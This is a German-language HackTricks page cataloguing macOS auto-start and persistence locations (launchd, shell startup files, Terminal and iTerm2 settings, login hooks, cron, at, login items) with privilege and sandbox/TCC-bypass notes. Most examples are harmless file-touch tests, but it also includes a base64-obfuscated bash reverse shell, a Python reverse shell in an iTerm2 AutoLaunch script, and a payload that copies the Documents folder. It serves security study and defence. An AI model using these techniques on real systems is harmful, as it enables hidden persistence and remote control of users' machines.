macOS Auto Start

Unterstütze HackTricks

Dieser Abschnitt basiert stark auf der Blogreihe Beyond the good ol' LaunchAgents, das Ziel ist es, mehr Autostart-Standorte hinzuzufügen (wenn möglich), anzugeben, welche Techniken heutzutage mit der neuesten Version von macOS (13.4) noch funktionieren und die erforderlichen Berechtigungen zu spezifizieren.

Sandbox Bypass

Hier findest du Startorte, die nützlich für Sandbox-Bypasses sind, die es dir ermöglichen, einfach etwas auszuführen, indem du es in eine Datei schreibst und wartest auf eine sehr häufige Aktion, eine bestimmte Zeitspanne oder eine Aktion, die du normalerweise innerhalb einer Sandbox ohne Root-Berechtigungen ausführen kannst.

Launchd

  • Nützlich zum Umgehen der Sandbox:

  • TCC Bypass: 🔴

Standorte

  • /Library/LaunchAgents

  • Auslöser: Neustart

  • Root erforderlich

  • /Library/LaunchDaemons

  • Auslöser: Neustart

  • Root erforderlich

  • /System/Library/LaunchAgents

  • Auslöser: Neustart

  • Root erforderlich

  • /System/Library/LaunchDaemons

  • Auslöser: Neustart

  • Root erforderlich

  • ~/Library/LaunchAgents

  • Auslöser: Neu anmelden

  • ~/Library/LaunchDemons

  • Auslöser: Neu anmelden

Als interessantes Faktum hat launchd eine eingebettete Property-Liste im Mach-o-Bereich __Text.__config, die andere bekannte Dienste enthält, die launchd starten muss. Darüber hinaus können diese Dienste die RequireSuccess, RequireRun und RebootOnSuccess enthalten, was bedeutet, dass sie ausgeführt und erfolgreich abgeschlossen werden müssen.

Natürlich kann es aufgrund der Code-Signierung nicht geändert werden.

Beschreibung & Ausnutzung

launchd ist der erste Prozess, der vom OX S-Kernel beim Start ausgeführt wird, und der letzte, der beim Herunterfahren endet. Es sollte immer die PID 1 haben. Dieser Prozess wird die Konfigurationen lesen und ausführen, die in den ASEP Plists in:

  • /Library/LaunchAgents: Benutzeragenten, die vom Administrator installiert wurden

  • /Library/LaunchDaemons: Systemweite Daemons, die vom Administrator installiert wurden

  • /System/Library/LaunchAgents: Benutzeragenten, die von Apple bereitgestellt werden.

  • /System/Library/LaunchDaemons: Systemweite Daemons, die von Apple bereitgestellt werden.

Wenn sich ein Benutzer anmeldet, werden die Plists, die sich in /Users/$USER/Library/LaunchAgents und /Users/$USER/Library/LaunchDemons befinden, mit den Berechtigungen des angemeldeten Benutzers gestartet.

Der Hauptunterschied zwischen Agenten und Daemons besteht darin, dass Agenten geladen werden, wenn sich der Benutzer anmeldet, und die Daemons beim Systemstart geladen werden (da es Dienste wie ssh gibt, die ausgeführt werden müssen, bevor ein Benutzer auf das System zugreift). Außerdem können Agenten eine GUI verwenden, während Daemons im Hintergrund laufen müssen.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

Es gibt Fälle, in denen ein Agent vor der Benutzeranmeldung ausgeführt werden muss, diese werden PreLoginAgents genannt. Zum Beispiel ist dies nützlich, um unterstützende Technologien bei der Anmeldung bereitzustellen. Sie sind auch in /Library/LaunchAgents zu finden (siehe hier ein Beispiel).

Neue Daemons oder Agenten-Konfigurationsdateien werden nach dem nächsten Neustart oder mit launchctl load <target.plist> geladen. Es ist auch möglich, .plist-Dateien ohne diese Erweiterung mit launchctl -F <file> zu laden (jedoch werden diese plist-Dateien nach dem Neustart nicht automatisch geladen). Es ist auch möglich, mit launchctl unload <target.plist> zu entladen (der Prozess, auf den verwiesen wird, wird beendet),

Um sicherzustellen, dass es nichts (wie eine Überschreibung) gibt, das einen Agenten oder Daemon daran hindert, auszuführen, führen Sie aus: sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist

Liste aller Agenten und Daemons, die vom aktuellen Benutzer geladen sind:

launchctl list

Wenn eine plist einem Benutzer gehört, wird die Aufgabe als der Benutzer und nicht als root ausgeführt, selbst wenn sie sich in systemweiten Daemon-Ordnern befindet. Dies kann einige Privilegieneskalationsangriffe verhindern.

Weitere Informationen zu launchd

launchd ist der erste Benutzerprozess, der vom Kernel gestartet wird. Der Prozessstart muss erfolgreich sein und er darf nicht beendet oder abstürzen. Er ist sogar gegen einige Kill-Signale geschützt.

Eine der ersten Aufgaben von launchd ist es, alle Daemons wie folgt zu starten:

  • Timer-Daemons, die basierend auf der Zeit ausgeführt werden:

  • atd (com.apple.atrun.plist): Hat ein StartInterval von 30 Minuten

  • crond (com.apple.systemstats.daily.plist): Hat StartCalendarInterval, um um 00:15 zu starten

  • Netzwerk-Daemons wie:

  • org.cups.cups-lpd: Lauscht in TCP (SockType: stream) mit SockServiceName: printer

  • SockServiceName muss entweder ein Port oder ein Dienst aus /etc/services sein

  • com.apple.xscertd.plist: Lauscht in TCP auf Port 1640

  • Path-Daemons, die ausgeführt werden, wenn sich ein bestimmter Pfad ändert:

  • com.apple.postfix.master: Überprüft den Pfad /etc/postfix/aliases

  • IOKit-Benachrichtigungs-Daemons:

  • com.apple.xartstorageremoted: "com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...

  • Mach-Port:

  • com.apple.xscertd-helper.plist: Gibt im MachServices-Eintrag den Namen com.apple.xscertd.helper an

  • UserEventAgent:

  • Dies unterscheidet sich von dem vorherigen. Es lässt launchd Apps als Reaktion auf spezifische Ereignisse starten. In diesem Fall ist jedoch die Haupt-Binärdatei nicht launchd, sondern /usr/libexec/UserEventAgent. Es lädt Plugins aus dem SIP-eingeschränkten Ordner /System/Library/UserEventPlugins/, wo jedes Plugin seinen Initialisierer im Schlüssel XPCEventModuleInitializer angibt oder im Fall älterer Plugins im CFPluginFactories-Dict unter dem Schlüssel FB86416D-6164-2070-726F-70735C216EC0 seiner Info.plist.

Shell-Startdateien

Writeup: https://theevilbit.github.io/beyond/beyond_0001/ Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/

  • Nützlich, um die Sandbox zu umgehen:

  • TCC-Umgehung:

  • Aber Sie müssen eine App mit einer TCC-Umgehung finden, die eine Shell ausführt, die diese Dateien lädt

Standorte

  • ~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile

  • Auslöser: Öffnen Sie ein Terminal mit zsh

  • /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin

  • Auslöser: Öffnen Sie ein Terminal mit zsh

  • Root erforderlich

  • ~/.zlogout

  • Auslöser: Beenden Sie ein Terminal mit zsh

  • /etc/zlogout

  • Auslöser: Beenden Sie ein Terminal mit zsh

  • Root erforderlich

  • Möglicherweise mehr in: man zsh

  • ~/.bashrc

  • Auslöser: Öffnen Sie ein Terminal mit bash

  • /etc/profile (funktionierte nicht)

  • ~/.profile (funktionierte nicht)

  • ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/

  • Auslöser: Erwartet, dass es mit xterm ausgelöst wird, aber es ist nicht installiert und selbst nach der Installation wird dieser Fehler ausgegeben: xterm: DISPLAY is not set

Beschreibung & Ausnutzung

Beim Initiieren einer Shell-Umgebung wie zsh oder bash werden bestimmte Startdateien ausgeführt. macOS verwendet derzeit /bin/zsh als Standard-Shell. Diese Shell wird automatisch aufgerufen, wenn die Terminal-Anwendung gestartet wird oder wenn ein Gerät über SSH zugegriffen wird. Während bash und sh ebenfalls in macOS vorhanden sind, müssen sie explizit aufgerufen werden, um verwendet zu werden.

Die Man-Seite von zsh, die wir mit man zsh lesen können, hat eine lange Beschreibung der Startdateien.

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

Wiedereröffnete Anwendungen

Die Konfiguration der angegebenen Ausnutzung und das Ab- und Anmelden oder sogar das Neustarten haben bei mir nicht funktioniert, um die App auszuführen. (Die App wurde nicht ausgeführt, vielleicht muss sie laufen, wenn diese Aktionen durchgeführt werden)

Writeup: https://theevilbit.github.io/beyond/beyond_0021/

  • Nützlich, um die Sandbox zu umgehen:

  • TCC-Umgehung: 🔴

Standort

  • ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

  • Auslöser: Neustart von wiedereröffnenden Anwendungen

Beschreibung & Ausnutzung

Alle Anwendungen, die wiedereröffnet werden sollen, befinden sich in der plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Um die wiedereröffnenden Anwendungen dazu zu bringen, Ihre eigene zu starten, müssen Sie einfach Ihre App zur Liste hinzufügen.

Die UUID kann durch Auflisten dieses Verzeichnisses oder mit ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}' gefunden werden.

Um die Anwendungen zu überprüfen, die wiedereröffnet werden, können Sie Folgendes tun:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Um eine Anwendung zu dieser Liste hinzuzufügen, können Sie Folgendes verwenden:

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Terminal-Einstellungen

  • Nützlich, um Sandbox zu umgehen:

  • TCC-Umgehung:

  • Terminal verwendet die FDA-Berechtigungen des Benutzers, der es verwendet

Standort

  • ~/Library/Preferences/com.apple.Terminal.plist

  • Auslöser: Terminal öffnen

Beschreibung & Ausnutzung

In ~/Library/Preferences werden die Einstellungen des Benutzers in den Anwendungen gespeichert. Einige dieser Einstellungen können eine Konfiguration enthalten, um andere Anwendungen/Skripte auszuführen.

Zum Beispiel kann das Terminal einen Befehl beim Start ausführen:

Diese Konfiguration wird in der Datei ~/Library/Preferences/com.apple.Terminal.plist wie folgt reflektiert:

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

Also, wenn die plist der Einstellungen des Terminals im System überschrieben werden könnte, kann die open-Funktionalität verwendet werden, um das Terminal zu öffnen und dieser Befehl wird ausgeführt.

Sie können dies über die CLI hinzufügen mit:

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

Terminal-Skripte / Andere Dateierweiterungen

  • Nützlich, um die Sandbox zu umgehen:

  • TCC-Umgehung:

  • Terminal wird verwendet, um FDA-Berechtigungen des Benutzers zu nutzen

Standort

  • Überall

  • Auslöser: Terminal öffnen

Beschreibung & Ausnutzung

Wenn Sie ein .terminal-Skript erstellen und öffnen, wird die Terminal-Anwendung automatisch aufgerufen, um die dort angegebenen Befehle auszuführen. Wenn die Terminal-App über besondere Berechtigungen verfügt (wie TCC), wird Ihr Befehl mit diesen besonderen Berechtigungen ausgeführt.

Versuchen Sie es mit:

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

Sie können auch die Erweiterungen .command, .tool verwenden, mit regulärem Shell-Skriptinhalt, und sie werden ebenfalls von Terminal geöffnet.

Wenn das Terminal Vollzugriff auf das Laufwerk hat, kann es diese Aktion ausführen (beachten Sie, dass der ausgeführte Befehl in einem Terminalfenster sichtbar sein wird).

Audio-Plugins

Writeup: https://theevilbit.github.io/beyond/beyond_0013/ Writeup: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

  • Nützlich, um die Sandbox zu umgehen:

  • TCC-Umgehung: 🟠

  • Sie könnten zusätzlichen TCC-Zugriff erhalten

Standort

  • /Library/Audio/Plug-Ins/HAL

  • Root erforderlich

  • Trigger: Coreaudiod oder den Computer neu starten

  • /Library/Audio/Plug-ins/Components

  • Root erforderlich

  • Trigger: Coreaudiod oder den Computer neu starten

  • ~/Library/Audio/Plug-ins/Components

  • Trigger: Coreaudiod oder den Computer neu starten

  • /System/Library/Components

  • Root erforderlich

  • Trigger: Coreaudiod oder den Computer neu starten

Beschreibung

Laut den vorherigen Writeups ist es möglich, einige Audio-Plugins zu kompilieren und sie zu laden.

QuickLook-Plugins

Writeup: https://theevilbit.github.io/beyond/beyond_0028/

  • Nützlich, um die Sandbox zu umgehen:

  • TCC-Umgehung: 🟠

  • Sie könnten zusätzlichen TCC-Zugriff erhalten

Standort

  • /System/Library/QuickLook

  • /Library/QuickLook

  • ~/Library/QuickLook

  • /Applications/AppNameHere/Contents/Library/QuickLook/

  • ~/Applications/AppNameHere/Contents/Library/QuickLook/

Beschreibung & Ausnutzung

QuickLook-Plugins können ausgeführt werden, wenn Sie die Vorschau einer Datei auslösen (drücken Sie die Leertaste, während die Datei im Finder ausgewählt ist) und ein Plugin, das diesen Dateityp unterstützt, installiert ist.

Es ist möglich, Ihr eigenes QuickLook-Plugin zu kompilieren, es an einem der vorherigen Standorte zu platzieren, um es zu laden, und dann zu einer unterstützten Datei zu gehen und die Leertaste zu drücken, um es auszulösen.

Login/Logout-Hooks

Das hat bei mir nicht funktioniert, weder mit dem Benutzer-LoginHook noch mit dem Root-LogoutHook

Writeup: https://theevilbit.github.io/beyond/beyond_0022/

  • Nützlich, um die Sandbox zu umgehen:

  • TCC-Umgehung: 🔴

Standort

  • Sie müssen in der Lage sein, etwas wie defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh auszuführen

  • Located in ~/Library/Preferences/com.apple.loginwindow.plist

Sie sind veraltet, können aber verwendet werden, um Befehle auszuführen, wenn sich ein Benutzer anmeldet.

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

Diese Einstellung wird in /Users/$USER/Library/Preferences/com.apple.loginwindow.plist gespeichert.

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

Um es zu löschen:

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

Der Root-Benutzer wird in /private/var/root/Library/Preferences/com.apple.loginwindow.plist gespeichert.

Bedingte Sandbox-Umgehung

Hier finden Sie Startorte, die nützlich für Sandbox-Umgehungen sind, die es Ihnen ermöglichen, etwas einfach auszuführen, indem Sie es in eine Datei schreiben und nicht sehr häufige Bedingungen wie spezifische installierte Programme, "ungewöhnliche" Benutzeraktionen oder Umgebungen erwarten.

Cron

Writeup: https://theevilbit.github.io/beyond/beyond_0004/

  • Nützlich zur Umgehung der Sandbox:

  • Sie müssen jedoch in der Lage sein, die crontab-Binärdatei auszuführen

  • Oder Root sein

  • TCC-Umgehung: 🔴

Standort

  • /usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/

  • Root erforderlich für direkten Schreibzugriff. Kein Root erforderlich, wenn Sie crontab <file> ausführen können

  • Trigger: Hängt vom Cron-Job ab

Beschreibung & Ausnutzung

Listen Sie die Cron-Jobs des aktuellen Benutzers mit auf:

crontab -l

Sie können auch alle Cron-Jobs der Benutzer in /usr/lib/cron/tabs/ und /var/at/tabs/ (benötigt Root) einsehen.

In MacOS finden sich mehrere Ordner, die Skripte mit bestimmter Häufigkeit ausführen:

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

Dort finden Sie die regulären cron jobs, die at jobs (nicht sehr häufig verwendet) und die periodic jobs (hauptsächlich zum Reinigen temporärer Dateien verwendet). Die täglichen periodischen Jobs können beispielsweise mit: periodic daily ausgeführt werden.

Um programmgesteuert einen Benutzer-Cronjob hinzuzufügen, ist es möglich, Folgendes zu verwenden:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

Writeup: https://theevilbit.github.io/beyond/beyond_0002/

  • Nützlich, um Sandbox zu umgehen:

  • TCC-Umgehung:

  • iTerm2 hatte früher gewährte TCC-Berechtigungen

Standorte

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch

  • Trigger: iTerm öffnen

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt

  • Trigger: iTerm öffnen

  • ~/Library/Preferences/com.googlecode.iterm2.plist

  • Trigger: iTerm öffnen

Beschreibung & Ausnutzung

Skripte, die in ~/Library/Application Support/iTerm2/Scripts/AutoLaunch gespeichert sind, werden ausgeführt. Zum Beispiel:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

oder:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

Das Skript ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt wird ebenfalls ausgeführt:

do shell script "touch /tmp/iterm2-autolaunchscpt"

Die iTerm2-Einstellungen, die sich in ~/Library/Preferences/com.googlecode.iterm2.plist befinden, können einen auszuführenden Befehl angeben, wenn das iTerm2-Terminal geöffnet wird.

Diese Einstellung kann in den iTerm2-Einstellungen konfiguriert werden:

Und der Befehl wird in den Einstellungen angezeigt:

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

Sie können den auszuführenden Befehl mit folgendem festlegen:

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

Hochwahrscheinlich gibt es andere Möglichkeiten, die iTerm2-Einstellungen zu missbrauchen, um beliebige Befehle auszuführen.

xbar

Writeup: https://theevilbit.github.io/beyond/beyond_0007/

  • Nützlich, um die Sandbox zu umgehen:

  • Aber xbar muss installiert sein

  • TCC-Umgehung:

  • Es werden Zugriffsberechtigungen angefordert

Standort

  • ~/Library/Application\ Support/xbar/plugins/

  • Auslöser: Sobald xbar ausgeführt wird

Beschreibung

Wenn das beliebte Programm xbar installiert ist, ist es möglich, ein Shell-Skript in ~/Library/Application\ Support/xbar/plugins/ zu schreiben, das ausgeführt wird, wenn xbar gestartet wird:

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Hammerspoon

Writeup: https://theevilbit.github.io/beyond/beyond_0008/

  • Nützlich, um die Sandbox zu umgehen:

  • Aber Hammerspoon muss installiert sein

  • TCC-Umgehung:

  • Es fordert Zugriffsberechtigungen an

Location

  • ~/.hammerspoon/init.lua

  • Trigger: Sobald Hammerspoon ausgeführt wird

Description

Hammerspoon dient als Automatisierungsplattform für macOS und nutzt die LUA-Skriptsprache für seine Operationen. Bemerkenswert ist, dass es die Integration von vollständigem AppleScript-Code und die Ausführung von Shell-Skripten unterstützt, was seine Skripting-Fähigkeiten erheblich verbessert.

Die App sucht nach einer einzelnen Datei, ~/.hammerspoon/init.lua, und beim Start wird das Skript ausgeführt.

mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF

BetterTouchTool

  • Nützlich, um die Sandbox zu umgehen:

  • Aber BetterTouchTool muss installiert sein

  • TCC-Umgehung:

  • Es fordert Berechtigungen für Automatisierungs-Shortcuts und Barrierefreiheit an

Standort

  • ~/Library/Application Support/BetterTouchTool/*

Dieses Tool ermöglicht es, Anwendungen oder Skripte anzugeben, die ausgeführt werden sollen, wenn bestimmte Shortcuts gedrückt werden. Ein Angreifer könnte in der Lage sein, seinen eigenen Shortcut und die auszuführende Aktion in der Datenbank zu konfigurieren, um beliebigen Code auszuführen (ein Shortcut könnte einfach das Drücken einer Taste sein).

Alfred

  • Nützlich, um die Sandbox zu umgehen:

  • Aber Alfred muss installiert sein

  • TCC-Umgehung:

  • Es fordert Berechtigungen für Automatisierung, Barrierefreiheit und sogar Vollzugriff auf die Festplatte an

Standort

  • ???

Es ermöglicht die Erstellung von Workflows, die Code ausführen können, wenn bestimmte Bedingungen erfüllt sind. Potenziell ist es möglich, dass ein Angreifer eine Workflow-Datei erstellt und Alfred dazu bringt, sie zu laden (es ist erforderlich, die Premium-Version zu bezahlen, um Workflows zu verwenden).

SSHRC

Writeup: https://theevilbit.github.io/beyond/beyond_0006/

  • Nützlich, um die Sandbox zu umgehen:

  • Aber ssh muss aktiviert und verwendet werden

  • TCC-Umgehung:

  • SSH benötigt FDA-Zugriff

Standort

  • ~/.ssh/rc

  • Trigger: Anmeldung über ssh

  • /etc/ssh/sshrc

  • Root erforderlich

  • Trigger: Anmeldung über ssh

Um ssh zu aktivieren, ist Voller Festplattzugriff erforderlich:

sudo systemsetup -setremotelogin on

Beschreibung & Ausnutzung

Standardmäßig, es sei denn, PermitUserRC no in /etc/ssh/sshd_config, werden beim Login via SSH die Skripte /etc/ssh/sshrc und ~/.ssh/rc ausgeführt.

Anmeldeobjekte

Schreibweise: https://theevilbit.github.io/beyond/beyond_0003/

  • Nützlich, um die Sandbox zu umgehen:

  • Aber du musst osascript mit Argumenten ausführen

  • TCC-Umgehung: 🔴

Standorte

  • ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

  • Auslöser: Login

  • Exploit-Payload gespeichert, die osascript aufruft

  • /var/db/com.apple.xpc.launchd/loginitems.501.plist

  • Auslöser: Login

  • Root erforderlich

Beschreibung

In den Systemeinstellungen -> Benutzer & Gruppen -> Anmeldeobjekte kannst du Objekte finden, die ausgeführt werden, wenn der Benutzer sich anmeldet. Es ist möglich, sie aufzulisten, hinzuzufügen und über die Befehlszeile zu entfernen:

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'

Diese Elemente werden in der Datei ~/Library/Application Support/com.apple.backgroundtaskmanagementagent gespeichert.

Anmeldeelemente können auch über die API SMLoginItemSetEnabled angezeigt werden, die die Konfiguration in /var/db/com.apple.xpc.launchd/loginitems.501.plist speichert.

ZIP als Anmeldeelement

(Siehe vorherigen Abschnitt über Anmeldeelemente, dies ist eine Erweiterung)

Wenn Sie eine ZIP-Datei als Anmeldeelement speichern, wird das Archivierungsprogramm es öffnen, und wenn die ZIP beispielsweise in ~/Library gespeichert wurde und den Ordner LaunchAgents/file.plist mit einem Backdoor enthielt, wird dieser Ordner erstellt (er ist standardmäßig nicht vorhanden) und die plist wird hinzugefügt, sodass beim nächsten Anmelden des Benutzers die im plist angegebene Backdoor ausgeführt wird.

Eine weitere Möglichkeit wäre, die Dateien .bash_profile und .zshenv im Benutzer-Home zu erstellen, sodass diese Technik weiterhin funktioniert, wenn der Ordner LaunchAgents bereits existiert.

At

Schriftliche Ausarbeitung: https://theevilbit.github.io/beyond/beyond_0014/

  • Nützlich, um die Sandbox zu umgehen:

  • Aber Sie müssen at ausführen und es muss aktiviert sein.

  • TCC-Umgehung: 🔴

Standort

  • Muss at ausführen und es muss aktiviert sein.

Beschreibung

at-Aufgaben sind dafür ausgelegt, einmalige Aufgaben zu bestimmten Zeiten auszuführen. Im Gegensatz zu Cron-Jobs werden at-Aufgaben nach der Ausführung automatisch entfernt. Es ist wichtig zu beachten, dass diese Aufgaben bei Systemneustarts persistent sind, was sie unter bestimmten Bedingungen zu potenziellen Sicherheitsbedenken macht.

Standardmäßig sind sie deaktiviert, aber der Root-Benutzer kann sie mit aktivieren:

sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist

Dies wird in 1 Stunde eine Datei erstellen:

echo "echo 11 > /tmp/at.txt" | at now+1

Überprüfen Sie die Job-Warteschlange mit atq:

sh-3.2# atq
26	Tue Apr 27 00:46:00 2021
22	Wed Apr 28 00:29:00 2021

Über uns sehen wir zwei geplante Jobs. Wir können die Details des Jobs mit at -c JOBNUMBER ausdrucken.

sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD